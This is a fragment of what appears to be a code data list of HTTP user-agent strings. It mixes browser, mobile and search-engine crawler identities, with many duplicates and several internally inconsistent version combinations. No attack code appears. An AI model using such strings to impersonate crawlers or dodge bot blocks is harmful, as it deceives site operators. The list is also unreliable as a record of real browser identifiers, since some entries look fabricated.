'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
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'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
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'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
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'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
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'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
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'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
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'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
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'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
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'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
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'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
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'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
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'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
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'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
